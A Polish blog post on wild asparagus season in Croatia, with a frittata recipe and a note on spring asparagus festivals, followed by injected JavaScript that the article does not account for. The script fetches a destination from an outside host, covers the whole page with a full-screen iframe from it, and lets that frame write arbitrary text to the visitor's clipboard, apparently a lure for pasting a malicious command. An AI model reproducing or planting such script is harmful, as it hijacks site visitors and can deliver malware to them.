Dzikie Szparagi w Chorwacji na wiosnę

Pod koniec marca lub na początku kwietnia zaczyna się w Chorwacji sezon na dzikie szparagi. W Dalmacji w tym roku sezon zaczął się naprawdę bardzo szybko, bo właśnie teraz, w połowie marca.

Niektórzy zjadają dzikie szparagi na surowo, zaraz po zebraniu. Jednak ze względu na goryczkę polecam poddać je nieznacznej obróbce termicznej.

Fritaja od sparoga/Frittata ze szparagami

Popularnym daniem jest: Fritaja od sparoga

Składniki:

Dzikie szparagi ok. 200 g (samych główek), łodygi możemy ususzyć i wykorzystać jako przyprawę.

• 4 jajka,
• cebula,
• sól,
• pieprz,
• oliwa.

Co robimy:

• Główki odrywamy od łodyg i na chwilę wrzucamy do osolonego wrzątku, by pozbyć się goryczki i po chwili wyjmujemy.
• Na patelni blanszujemy cebulę skrojoną w kostkę.
• Następnie dodajemy obgotowane szparagi i dusimy do miękkości.
• Doprawiamy solą i pieprzem i dodajemy jajka, delikatnie mieszamy do czasu aż się zetnie białko – nie może być zbyt suche.

W Chorwacji dzikie szparagi są tak popularne, że w kwietniu odbywają się festiwale szparagów, Festival Šparuga.

Wiosna

Dzikie szparagi są zwiastunem nadchodzącej wiosny, ale sezon na nie trwa bardzo krótko, bo ok. 3 tygodnie do miesiąca. Więc spieszmy się odwiedzić Chorwację na początku kwietnia i spróbować szparagów na którymś z kulinarnych festivalów.

Dobar Tek.

Tekst napisany przy współpracy z Jarkiem Łyczko.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();